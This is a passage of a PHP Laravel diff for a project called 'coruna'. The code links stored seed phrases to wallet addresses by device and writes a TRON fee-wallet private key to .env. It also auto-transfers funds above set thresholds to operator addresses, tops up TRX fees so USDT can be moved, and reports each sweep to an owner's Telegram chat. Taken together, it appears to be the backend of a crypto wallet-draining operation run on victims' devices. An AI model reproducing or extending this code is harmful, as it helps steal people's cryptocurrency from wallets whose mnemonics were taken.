if ($phrase === null || trim($phrase) === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$matchedIndex = $this->matchIndex($driver, $phrase, $target, $caseInsensitive);
|
||||||
|
if ($matchedIndex === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$address->mnemonic_id = $mnemonicRow->id;
|
||||||
|
$address->derive_index = $matchedIndex;
|
||||||
|
$address->save();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* After a new mnemonic is stored: link all unlinked addresses on the same device
|
||||||
|
* whose chains appear among those addresses (only those chains are derived).
|
||||||
|
*
|
||||||
|
* @return int Number of addresses linked
|
||||||
|
*/
|
||||||
|
public function linkMnemonicToDeviceAddresses(WalletMnemonic $mnemonic): int
|
||||||
|
{
|
||||||
|
$phrase = $mnemonic->mnemonic;
|
||||||
|
if ($phrase === null || trim($phrase) === '') {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
$addresses = WalletAddress::query()
|
||||||
|
->where('device_id', $mnemonic->device_id)
|
||||||
|
->whereNull('mnemonic_id')
|
||||||
|
->orderBy('id')
|
||||||
|
->get();
|
||||||
|
|
||||||
|
if ($addresses->isEmpty()) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
$chainTypes = $addresses
|
||||||
|
->pluck('chain_type')
|
||||||
|
->filter(fn ($c) => is_string($c) && $c !== '')
|
||||||
|
->unique()
|
||||||
|
->values()
|
||||||
|
->all();
|
||||||
|
|
||||||
|
/** @var array<string, array<string, int>> $derivedByChainKey map chainKey => [normalizedAddress => index] */
|
||||||
|
$derivedByChainKey = [];
|
||||||
|
foreach ($chainTypes as $chainType) {
|
||||||
|
$driver = $this->resolveDriver((string) $chainType);
|
||||||
|
if ($driver === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$chainKey = $driver->chainId();
|
||||||
|
if (isset($derivedByChainKey[$chainKey])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$derivedByChainKey[$chainKey] = $this->deriveIndexMap($driver, $phrase);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($derivedByChainKey === []) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
$linked = 0;
|
||||||
|
foreach ($addresses as $address) {
|
||||||
|
$driver = $this->resolveDriver((string) $address->chain_type);
|
||||||
|
if ($driver === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$map = $derivedByChainKey[$driver->chainId()] ?? null;
|
||||||
|
if ($map === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$lookup = $driver->chainId() === 'eth'
|
||||||
|
? strtolower((string) $address->address)
|
||||||
|
: (string) $address->address;
|
||||||
|
|
||||||
|
if (! array_key_exists($lookup, $map)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$address->mnemonic_id = $mnemonic->id;
|
||||||
|
$address->derive_index = $map[$lookup];
|
||||||
|
$address->save();
|
||||||
|
$linked++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $linked;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function resolveDriver(string $chainType): ?ChainDriver
|
||||||
|
{
|
||||||
|
$chain = strtolower(trim($chainType));
|
||||||
|
if ($chain === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// BNB / BSC share ETH derivation paths.
|
||||||
|
if (in_array($chain, ['bnb', 'bsc'], true)) {
|
||||||
|
$chain = 'eth';
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
return $this->chains->resolve($chain);
|
||||||
|
} catch (InvalidArgumentException) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, int> normalized address => derive index
|
||||||
|
*/
|
||||||
|
private function deriveIndexMap(ChainDriver $driver, string $phrase): array
|
||||||
|
{
|
||||||
|
$caseInsensitive = $driver->chainId() === 'eth';
|
||||||
|
$map = [];
|
||||||
|
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||||
|
try {
|
||||||
|
$derived = $driver->deriveAddress($phrase, $index);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
$key = $caseInsensitive ? strtolower($derived) : $derived;
|
||||||
|
if (! array_key_exists($key, $map)) {
|
||||||
|
$map[$key] = $index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $map;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function matchIndex(
|
||||||
|
ChainDriver $driver,
|
||||||
|
string $phrase,
|
||||||
|
string $target,
|
||||||
|
bool $caseInsensitive,
|
||||||
|
): ?int {
|
||||||
|
for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) {
|
||||||
|
try {
|
||||||
|
$derived = $driver->deriveAddress($phrase, $index);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$match = $caseInsensitive
|
||||||
|
? strcasecmp($derived, $target) === 0
|
||||||
|
: $derived === $target;
|
||||||
|
if ($match) {
|
||||||
|
return $index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -2,42 +2,58 @@
|
|||||||
|
|
||||||
namespace App\Services;
|
namespace App\Services;
|
||||||
|
|
||||||
use App\Models\Setting;
|
use RuntimeException;
|
||||||
use Illuminate\Support\Facades\Cache;
|
|
||||||
use Illuminate\Support\Facades\Schema;
|
|
||||||
|
|
||||||
class SettingsService
|
class SettingsService
|
||||||
{
|
{
|
||||||
public const KEYS = [
|
/**
|
||||||
'telegram.bot_token',
|
* Admin-editable settings persisted to `.env`.
|
||||||
'telegram.bot_username',
|
*
|
||||||
'telegram.owner_chat_id',
|
* @var array<string, string>
|
||||||
'channels.max_per_agent',
|
*/
|
||||||
'channels.domains',
|
public const ENV_KEYS = [
|
||||||
'panel.admin_hosts',
|
'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
|
||||||
'panel.agent_hosts',
|
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
|
||||||
|
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
|
||||||
|
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
|
||||||
|
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||||
|
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
|
||||||
|
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
|
||||||
|
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
|
||||||
|
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
|
||||||
|
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
|
||||||
];
|
];
|
||||||
|
|
||||||
/** @return array<string, string|null> */
|
/** Empty form value means keep existing env value. */
|
||||||
public function all(): array
|
private const SECRET_KEYS = [
|
||||||
{
|
'transfer.fee_private_key_tron',
|
||||||
$out = [];
|
];
|
||||||
foreach (self::KEYS as $key) {
|
|
||||||
$out[$key] = $this->get($key);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $out;
|
|
||||||
}
|
|
||||||
|
|
||||||
public function get(string $key, ?string $default = null): ?string
|
public function get(string $key, ?string $default = null): ?string
|
||||||
{
|
{
|
||||||
if (! $this->tableReady()) {
|
$value = match ($key) {
|
||||||
|
'telegram.bot_token' => config('coruna.telegram.bot_token'),
|
||||||
|
'telegram.bot_username' => config('coruna.telegram.bot_username'),
|
||||||
|
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
|
||||||
|
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||||
|
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
|
||||||
|
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
||||||
|
'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
|
||||||
|
'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
|
||||||
|
'transfer.to_address' => config('coruna.transfer.to_address'),
|
||||||
|
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
|
||||||
|
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
|
||||||
|
'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'),
|
||||||
|
'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'),
|
||||||
|
'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'),
|
||||||
|
default => null,
|
||||||
|
};
|
||||||
|
|
||||||
|
if ($value === null || $value === '') {
|
||||||
return $default;
|
return $default;
|
||||||
}
|
}
|
||||||
|
|
||||||
$map = $this->cachedMap();
|
return (string) $value;
|
||||||
|
|
||||||
return array_key_exists($key, $map) ? $map[$key] : $default;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,82 +61,51 @@ class SettingsService
|
|||||||
*/
|
*/
|
||||||
public function putMany(array $values): void
|
public function putMany(array $values): void
|
||||||
{
|
{
|
||||||
|
$envPairs = [];
|
||||||
|
|
||||||
foreach ($values as $key => $value) {
|
foreach ($values as $key => $value) {
|
||||||
if (! in_array($key, self::KEYS, true)) {
|
if (! isset(self::ENV_KEYS[$key])) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
$str = $value === null ? null : trim((string) $value);
|
$str = $value === null ? null : trim((string) $value);
|
||||||
Setting::query()->updateOrCreate(
|
if (in_array($key, self::SECRET_KEYS, true) && ($str === null || $str === '')) {
|
||||||
['key' => $key],
|
continue;
|
||||||
['value' => $str === '' ? null : $str]
|
}
|
||||||
);
|
|
||||||
|
$str ??= '';
|
||||||
|
$envPairs[self::ENV_KEYS[$key]] = $str;
|
||||||
|
$this->applyRuntimeConfig($key, $str);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($envPairs !== []) {
|
||||||
|
$this->writeEnv($envPairs);
|
||||||
}
|
}
|
||||||
Cache::forget($this->cacheKey());
|
|
||||||
$this->applyToConfig();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Kept for boot compatibility; config is loaded from `.env` via config/coruna.php. */
|
||||||
public function applyToConfig(): void
|
public function applyToConfig(): void
|
||||||
{
|
{
|
||||||
if (! $this->tableReady()) {
|
// no-op: no DB overlay
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$map = $this->cachedMap();
|
|
||||||
|
|
||||||
$bot = $map['telegram.bot_token'] ?? null;
|
|
||||||
if ($bot !== null && $bot !== '') {
|
|
||||||
config([
|
|
||||||
'coruna.telegram.bot_token' => $bot,
|
|
||||||
'nutgram.token' => $bot,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
$botName = $map['telegram.bot_username'] ?? null;
|
|
||||||
if ($botName !== null) {
|
|
||||||
config(['coruna.telegram.bot_username' => $botName]);
|
|
||||||
}
|
|
||||||
$chat = $map['telegram.owner_chat_id'] ?? null;
|
|
||||||
if ($chat !== null && $chat !== '') {
|
|
||||||
config(['coruna.telegram.owner_chat_id' => $chat]);
|
|
||||||
}
|
|
||||||
|
|
||||||
$max = $map['channels.max_per_agent'] ?? null;
|
|
||||||
if ($max !== null && $max !== '' && is_numeric($max)) {
|
|
||||||
config(['coruna.channels.max_per_agent' => max(1, (int) $max)]);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
|
|
||||||
$domains = self::parseDomains($map['channels.domains']);
|
|
||||||
// Settings override channel hosts only; reporting stays CORUNA_REPORTING_DOMAINS.
|
|
||||||
config([
|
|
||||||
'coruna.channel_domains' => $domains,
|
|
||||||
'coruna.deployment_domains' => $domains,
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Once saved in settings, DB wins (null/empty = no Host restriction).
|
|
||||||
if (array_key_exists('panel.admin_hosts', $map)) {
|
|
||||||
config(['coruna.panel.admin_hosts' => self::parseDomains($map['panel.admin_hosts'])]);
|
|
||||||
}
|
|
||||||
if (array_key_exists('panel.agent_hosts', $map)) {
|
|
||||||
config(['coruna.panel.agent_hosts' => self::parseDomains($map['panel.agent_hosts'])]);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Effective values for the settings form (DB overrides env). */
|
/** @return array<string, string> */
|
||||||
public function effectiveForForm(): array
|
public function effectiveForForm(): array
|
||||||
{
|
{
|
||||||
$domains = config('coruna.channel_domains', []);
|
$feeKeySet = trim((string) config('coruna.transfer.fee_private_key_tron', '')) !== '';
|
||||||
$adminHosts = config('coruna.panel.admin_hosts', []);
|
|
||||||
$agentHosts = config('coruna.panel.agent_hosts', []);
|
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'telegram.bot_token' => (string) (config('coruna.telegram.bot_token') ?: ''),
|
|
||||||
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
|
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
|
||||||
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
||||||
'channels.max_per_agent' => (string) (int) config('coruna.channels.max_per_agent', 5),
|
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||||
'channels.domains' => is_array($domains) ? implode("\n", $domains) : '',
|
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
|
||||||
'panel.admin_hosts' => is_array($adminHosts) ? implode("\n", $adminHosts) : '',
|
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||||
'panel.agent_hosts' => is_array($agentHosts) ? implode("\n", $agentHosts) : '',
|
'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
|
||||||
|
'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
|
||||||
|
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
|
||||||
|
'transfer.fee_private_key_tron' => '',
|
||||||
|
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
|
||||||
|
'transfer.fee_topup_trx' => (string) (config('coruna.transfer.fee_topup_trx') ?: '20'),
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -136,7 +121,6 @@ class SettingsService
|
|||||||
$d = trim((string) $d);
|
$d = trim((string) $d);
|
||||||
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
|
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
|
||||||
$d = rtrim($d, '/');
|
$d = rtrim($d, '/');
|
||||||
// Host only (drop path / port).
|
|
||||||
$d = explode('/', $d, 2)[0];
|
$d = explode('/', $d, 2)[0];
|
||||||
$d = preg_replace('/:\d+$/', '', $d) ?? $d;
|
$d = preg_replace('/:\d+$/', '', $d) ?? $d;
|
||||||
|
|
||||||
@@ -144,25 +128,64 @@ class SettingsService
|
|||||||
}, $parts)));
|
}, $parts)));
|
||||||
}
|
}
|
||||||
|
|
||||||
/** @return array<string, string|null> */
|
private function applyRuntimeConfig(string $key, string $value): void
|
||||||
private function cachedMap(): array
|
|
||||||
{
|
{
|
||||||
return Cache::remember($this->cacheKey(), 300, function () {
|
match ($key) {
|
||||||
return Setting::query()->pluck('value', 'key')->all();
|
'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
|
||||||
});
|
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
|
||||||
|
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
|
||||||
|
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
|
||||||
|
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||||
|
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
|
||||||
|
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
|
||||||
|
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
|
||||||
|
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
|
||||||
|
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
|
||||||
|
default => null,
|
||||||
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
private function cacheKey(): string
|
/**
|
||||||
|
* @param array<string, string> $pairs
|
||||||
|
*/
|
||||||
|
private function writeEnv(array $pairs): void
|
||||||
{
|
{
|
||||||
return 'coruna.settings.map';
|
$path = base_path('.env');
|
||||||
}
|
if (! is_file($path)) {
|
||||||
|
throw new RuntimeException('.env not found');
|
||||||
|
}
|
||||||
|
if (! is_writable($path)) {
|
||||||
|
throw new RuntimeException('.env is not writable');
|
||||||
|
}
|
||||||
|
|
||||||
private function tableReady(): bool
|
$content = (string) file_get_contents($path);
|
||||||
{
|
foreach ($pairs as $name => $value) {
|
||||||
try {
|
$line = $name.'='.$this->formatEnvValue($value);
|
||||||
return Schema::hasTable('settings');
|
if (preg_match('/^'.preg_quote($name, '/').'=/m', $content) === 1) {
|
||||||
} catch (\Throwable) {
|
$content = preg_replace('/^'.preg_quote($name, '/').'=.*$/m', $line, $content, 1) ?? $content;
|
||||||
return false;
|
} else {
|
||||||
|
$content = rtrim($content, "\r\n")."\n".$line."\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
putenv($name.'='.$value);
|
||||||
|
$_ENV[$name] = $value;
|
||||||
|
$_SERVER[$name] = $value;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (file_put_contents($path, $content) === false) {
|
||||||
|
throw new RuntimeException('Failed to write .env');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function formatEnvValue(string $value): string
|
||||||
|
{
|
||||||
|
if ($value === '') {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
if (preg_match('/[\s#"\'\\\\]/', $value) === 1) {
|
||||||
|
return '"'.str_replace(['\\', '"'], ['\\\\', '\\"'], $value).'"';
|
||||||
|
}
|
||||||
|
|
||||||
|
return $value;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -296,6 +296,72 @@ class TelegramNotifier
|
|||||||
$this->send(implode("\n", $lines), $deviceId);
|
$this->send(implode("\n", $lines), $deviceId);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Auto-transfer result (success or failure).
|
||||||
|
*/
|
||||||
|
public function notifyAutoTransfer(
|
||||||
|
string $deviceId,
|
||||||
|
string $fromAddress,
|
||||||
|
string $chain,
|
||||||
|
string $asset,
|
||||||
|
bool $ok,
|
||||||
|
?string $amount = null,
|
||||||
|
?string $toAddress = null,
|
||||||
|
?string $txid = null,
|
||||||
|
?string $error = null,
|
||||||
|
): void {
|
||||||
|
$lines = [
|
||||||
|
$ok ? '🚀 <b>Auto Transfer OK</b>' : '⚠️ <b>Auto Transfer Failed</b>',
|
||||||
|
...$this->deviceHeader($deviceId),
|
||||||
|
'⛓ <b>Chain</b>: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
|
||||||
|
'💎 <b>Asset</b>: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
|
||||||
|
'📤 <b>From</b>: <code>'.$this->e($fromAddress).'</code>',
|
||||||
|
];
|
||||||
|
if ($toAddress !== null && trim($toAddress) !== '') {
|
||||||
|
$lines[] = '📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>';
|
||||||
|
}
|
||||||
|
if ($amount !== null && trim($amount) !== '') {
|
||||||
|
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' '.$this->e(strtoupper($asset));
|
||||||
|
}
|
||||||
|
if ($ok && $txid !== null && trim($txid) !== '') {
|
||||||
|
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
|
||||||
|
}
|
||||||
|
if (! $ok && $error !== null && trim($error) !== '') {
|
||||||
|
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
|
||||||
|
}
|
||||||
|
$this->send(implode("\n", $lines), $deviceId);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* TRON fee / energy top-up result.
|
||||||
|
*/
|
||||||
|
public function notifyFeeTopup(
|
||||||
|
string $deviceId,
|
||||||
|
string $feeFrom,
|
||||||
|
string $toAddress,
|
||||||
|
bool $ok,
|
||||||
|
?string $amount = null,
|
||||||
|
?string $txid = null,
|
||||||
|
?string $error = null,
|
||||||
|
): void {
|
||||||
|
$lines = [
|
||||||
|
$ok ? '⚡ <b>TRX Fee Top-up OK</b>' : '⚠️ <b>TRX Fee Top-up Failed</b>',
|
||||||
|
...$this->deviceHeader($deviceId),
|
||||||
|
'📤 <b>Fee wallet</b>: <code>'.$this->e($feeFrom).'</code>',
|
||||||
|
'📥 <b>To</b>: <code>'.$this->e($toAddress).'</code>',
|
||||||
|
];
|
||||||
|
if ($amount !== null && trim($amount) !== '') {
|
||||||
|
$lines[] = '💵 <b>Amount</b>: '.$this->e($amount).' TRX';
|
||||||
|
}
|
||||||
|
if ($ok && $txid !== null && trim($txid) !== '') {
|
||||||
|
$lines[] = '🔗 <b>Tx</b>: <code>'.$this->e($txid).'</code>';
|
||||||
|
}
|
||||||
|
if (! $ok && $error !== null && trim($error) !== '') {
|
||||||
|
$lines[] = '❌ <b>Error</b>: '.$this->e($error);
|
||||||
|
}
|
||||||
|
$this->send(implode("\n", $lines), $deviceId);
|
||||||
|
}
|
||||||
|
|
||||||
/** @return list<string> */
|
/** @return list<string> */
|
||||||
private function deviceHeader(string $deviceId): array
|
private function deviceHeader(string $deviceId): array
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -13,6 +13,8 @@ class TransferService
|
|||||||
{
|
{
|
||||||
public function __construct(
|
public function __construct(
|
||||||
private readonly ChainManager $chains,
|
private readonly ChainManager $chains,
|
||||||
|
private readonly AutoTransferConfig $autoConfig,
|
||||||
|
private readonly TelegramNotifier $telegram,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -53,6 +55,17 @@ class TransferService
|
|||||||
|
|
||||||
$asset = strtoupper(trim($asset));
|
$asset = strtoupper(trim($asset));
|
||||||
$record['asset'] = $asset;
|
$record['asset'] = $asset;
|
||||||
|
|
||||||
|
create_log([
|
||||||
|
'event' => 'transfer_start',
|
||||||
|
'chain' => $chain,
|
||||||
|
'asset' => $asset,
|
||||||
|
'from' => $fromAddress,
|
||||||
|
'to' => $to,
|
||||||
|
'amount' => $record['amount'],
|
||||||
|
'operator' => $operator,
|
||||||
|
], 'transfer');
|
||||||
|
|
||||||
$driver = $this->chains->resolve($chain);
|
$driver = $this->chains->resolve($chain);
|
||||||
|
|
||||||
if (! $driver->isValidAddress($fromAddress)) {
|
if (! $driver->isValidAddress($fromAddress)) {
|
||||||
@@ -81,6 +94,11 @@ class TransferService
|
|||||||
|
|
||||||
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
|
||||||
|
|
||||||
|
// Energy/bandwidth fee: only TRON USDT (TRC20) needs a TRX buffer.
|
||||||
|
if ($asset === 'USDT' && in_array($chain, ['tron', 'trx'], true)) {
|
||||||
|
$this->ensureTronFeeTopup($driver, $fromAddress, $operator);
|
||||||
|
}
|
||||||
|
|
||||||
$txid = match ($asset) {
|
$txid = match ($asset) {
|
||||||
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount),
|
||||||
'USDT' => $driver->sendToken(
|
'USDT' => $driver->sendToken(
|
||||||
@@ -111,6 +129,157 @@ class TransferService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* TRON USDT only: if fromAddress TRX < fee_topup_trx target, top up the shortfall from the fee wallet.
|
||||||
|
* Example: balance 5, target 20 → send 15 TRX.
|
||||||
|
*/
|
||||||
|
private function ensureTronFeeTopup(ChainDriver $driver, string $fromAddress, ?string $operator): void
|
||||||
|
{
|
||||||
|
if (! $driver instanceof \App\Services\Chain\TronDriver) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$target = $this->autoConfig->feeTopupTrx();
|
||||||
|
$trx = $driver->getNativeBalance($fromAddress);
|
||||||
|
if (bccomp($trx, $target, 6) >= 0) {
|
||||||
|
create_log([
|
||||||
|
'event' => 'tron_fee_topup_skip',
|
||||||
|
'reason' => 'balance_sufficient',
|
||||||
|
'from' => $fromAddress,
|
||||||
|
'trx' => $trx,
|
||||||
|
'target' => $target,
|
||||||
|
'operator' => $operator,
|
||||||
|
], 'transfer');
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$amount = bcsub($target, $trx, 6);
|
||||||
|
$amount = rtrim(rtrim($amount, '0'), '.');
|
||||||
|
if ($amount === '' || str_starts_with($amount, '-') || bccomp($amount, '0', 6) <= 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$feeAddress = $this->autoConfig->feeAddressTron();
|
||||||
|
$feeKey = $this->autoConfig->feePrivateKeyTron();
|
||||||
|
if ($feeAddress === '' || $feeKey === '') {
|
||||||
|
create_log([
|
||||||
|
'event' => 'tron_fee_topup_failed',
|
||||||
|
'error' => 'fee wallet not configured',
|
||||||
|
'from' => $fromAddress,
|
||||||
|
'trx' => $trx,
|
||||||
|
'target' => $target,
|
||||||
|
'operator' => $operator,
|
||||||
|
], 'transfer');
|
||||||
|
throw new RuntimeException('TRON fee top-up wallet is not configured (address/private key)');
|
||||||
|
}
|
||||||
|
if (! $driver->isValidAddress($feeAddress)) {
|
||||||
|
throw new RuntimeException('Invalid TRON fee top-up address');
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$derived = \App\Services\Chain\TronDriver::addressFromPrivateKey($feeKey);
|
||||||
|
if (strcasecmp($derived, $feeAddress) !== 0) {
|
||||||
|
throw new RuntimeException('TRON fee private key does not match fee address');
|
||||||
|
}
|
||||||
|
} catch (RuntimeException $e) {
|
||||||
|
throw $e;
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
throw new RuntimeException('Invalid TRON fee private key: '.$e->getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
create_log([
|
||||||
|
'event' => 'tron_fee_topup_start',
|
||||||
|
'fee_from' => $feeAddress,
|
||||||
|
'to' => $fromAddress,
|
||||||
|
'amount' => $amount,
|
||||||
|
'trx_before' => $trx,
|
||||||
|
'target' => $target,
|
||||||
|
'operator' => $operator,
|
||||||
|
], 'transfer');
|
||||||
|
|
||||||
|
$topupRecord = [
|
||||||
|
'from_address' => $feeAddress,
|
||||||
|
'to_address' => $fromAddress,
|
||||||
|
'chain' => 'tron',
|
||||||
|
'tx_hash' => null,
|
||||||
|
'amount' => $amount,
|
||||||
|
'type' => TransferRecord::TYPE_OUT,
|
||||||
|
'asset' => 'TRX',
|
||||||
|
'operator' => 'fee-topup'.($operator ? ':'.$operator : ''),
|
||||||
|
'status' => TransferRecord::STATUS_FAILED,
|
||||||
|
'error' => null,
|
||||||
|
];
|
||||||
|
|
||||||
|
try {
|
||||||
|
$txid = $driver->sendNativeWithPrivateKey($feeKey, $feeAddress, $fromAddress, $amount);
|
||||||
|
$topupRecord['tx_hash'] = $txid;
|
||||||
|
$topupRecord['status'] = TransferRecord::STATUS_SUCCESS;
|
||||||
|
$this->finish($topupRecord, [
|
||||||
|
'ok' => true,
|
||||||
|
'txid' => $txid,
|
||||||
|
'from' => $feeAddress,
|
||||||
|
'to' => $fromAddress,
|
||||||
|
'amount' => $amount,
|
||||||
|
'asset' => 'TRX',
|
||||||
|
]);
|
||||||
|
create_log([
|
||||||
|
'event' => 'tron_fee_topup_success',
|
||||||
|
'fee_from' => $feeAddress,
|
||||||
|
'to' => $fromAddress,
|
||||||
|
'amount' => $amount,
|
||||||
|
'txid' => $txid,
|
||||||
|
'operator' => $operator,
|
||||||
|
], 'transfer');
|
||||||
|
$this->notifyFeeTopupTelegram(
|
||||||
|
feeFrom: $feeAddress,
|
||||||
|
toAddress: $fromAddress,
|
||||||
|
ok: true,
|
||||||
|
amount: $amount,
|
||||||
|
txid: $txid,
|
||||||
|
);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$topupRecord['error'] = $e->getMessage();
|
||||||
|
$this->finish($topupRecord, ['ok' => false, 'error' => $e->getMessage()]);
|
||||||
|
create_log([
|
||||||
|
'event' => 'tron_fee_topup_failed',
|
||||||
|
'fee_from' => $feeAddress,
|
||||||
|
'to' => $fromAddress,
|
||||||
|
'amount' => $amount,
|
||||||
|
'error' => $e->getMessage(),
|
||||||
|
'operator' => $operator,
|
||||||
|
], 'transfer');
|
||||||
|
$this->notifyFeeTopupTelegram(
|
||||||
|
feeFrom: $feeAddress,
|
||||||
|
toAddress: $fromAddress,
|
||||||
|
ok: false,
|
||||||
|
amount: $amount,
|
||||||
|
error: $e->getMessage(),
|
